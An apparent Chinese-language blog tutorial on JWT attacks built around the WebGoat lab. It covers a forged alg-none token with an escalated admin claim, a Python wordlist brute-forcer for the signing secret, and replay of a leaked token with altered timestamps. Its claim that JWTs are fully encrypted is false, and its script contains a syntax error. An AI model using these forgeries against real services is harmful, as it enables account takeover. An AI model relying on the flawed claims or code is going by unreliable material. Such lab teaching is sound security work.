在挖掘 SRC 的时候,面对一些 SSO 的场景,经常会看到一些奇奇怪怪的数据,这些数据多以三段式加密方式呈现,在后续的学习过程中,明白了此类令牌名为 Token
,在之前的学习过程中简单了解了下 JWT 的呈现方式,但是对其更深入的内容浅尝辄止,本篇文章从一个全面的方向了解,什么是 JWT,JWT 如何利用和攻击,旨在帮助安全从业人员更好的了解网络安全的令牌工作机制。
本文配套靶场地址为WebGoat
靶场身份验证及失败部分。
JWT(JSON Web Token)是一个开放标准(RFC 7519),它定义了一种简洁的、自包含的方法用于通信双方之间以 JSON 对象的形式安全地传输信息。这种信息可以被验证和信任,因为它是数字签名的。JWT通常用于互联网应用程序中,用于身份验证和授权。 JWT 和 传统 Token 的区别
JWT | 传统 Token | |
---|---|---|
存储位置 | JWT通常存储在客户端 | 传统的Token如Cookies和Session Tokens通常在服务器端存储状态 |
传输方式 | JWT作为HTTP请求的一部分传输,可以直接在请求的Header中 | 传统Token通常通过Cookie在浏览器和服务器之间传输 |
状态管理 | JWT是自包含的,不依赖于服务器的会话状态,减轻服务器负担。 | 传统Token通常与服务器的会话状态绑定,服务器需要存储用户的会话信息,这可能导致更高的服务器负载和状态管理复杂性。 |
安全性和隐私 | JWT的所有信息都是加密的,并且可以设置权限,只有拥有正确密钥的用户才能解码信息。但是,如果密钥被泄露,那么所有的JWT都可能受到影响。 | 不包含敏感信息,因此不加密 |
跨域使用 | 由于 JWT 不依靠服务器状态,可以在不同域之间请求和传递用户信息,因此适合跨域请求 | 传统Token在跨域请求中可能需要服务器配置CORS(跨源资源共享)策略 |
JWT由三部分组成:
由于JWT是自包含的,所以它不需要在服务器上存储状态,这减少了攻击面,并允许用户在没有状态的系统中进行认证。同时,由于JWT是在客户端和服务器之间传输的,所以它也易于跨域使用。 以下是一段 JWT的内容,我们需要找到令牌中的用户名
令牌详细部分如下
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
其中:
header
部分为eyJhbGciOiJIUzI1NiJ9
payload
部分为ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
signature
部分为9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
通过放入解码平台我们可以看到解密后的文件,找出解密后的用户名从而通关靶场
用户在成功对服务器进行身份验证后使用用户名和密码登录 返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续 调用服务器,在“Authorization”标头中附加新令牌。服务器读取令牌并首先验证签名,验证成功后,服务器使用 令牌中用于标识用户的信息。
所谓的“空加密算法”可能指的是没有使用任何加密算法的JWT,这在实际应用中是不常见的,因为加密是保障信息安全的标准做法。然而,确实存在一些JWT的实现可能不会使用加密,尤其是在一些对安全要求不是非常高的场景下。
通过空加密算法,我们主要了解 JWT 前两部分的组成方式及利用手法,简单来说就是将header
部分的alg
修改为none
,然后在signature
部分制空即可达成不安全的 JWT 加密算法的效果。
具体的流程如下,比如在如下的情景中,只有管理员可以重置投票信息:
此时我们抓包,发现普通用户 TOM 的 JWT
令牌如下图所示:
此时我们将其放入解码平台进行解码,可以得出前两部分的内容:
随后我们对数据包进行修改,首先将alg
中加密方式设置为none
, 然后将admin
中的false
修改为true
,重新进行 Base64 编码,得到如下的 JWT 进行请求发送并且成功。
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ..
注意,虽然signature
部分为空,但是仍然需要之前加上.
号达成格式匹配,此时将其设置为access_token
进行重放,发现投票次数已经被重置。
有时候我们可以尝试去爆破 JWT 的signature
密钥,虽然服务器端的密钥经常是随机的,但是我们需要了解这个攻击流程。
爆破代码如下
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
with open('top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * , '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
如果访问令牌泄露,我们可以配合时间戳的修改来达到恶意的操作,比如我们曾经得到某个用户的JWT
令牌如下:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
通过解密发现其中的时间戳可以修改,将其替换为最近的时间戳,进行发送达成认证成功攻击的效果,注意此时仍然需要signature
设置为空。
总结: 使用 JWT 令牌的最佳位置是在服务器到服务器之间的通信。 使用 JWT 令牌的一些建议: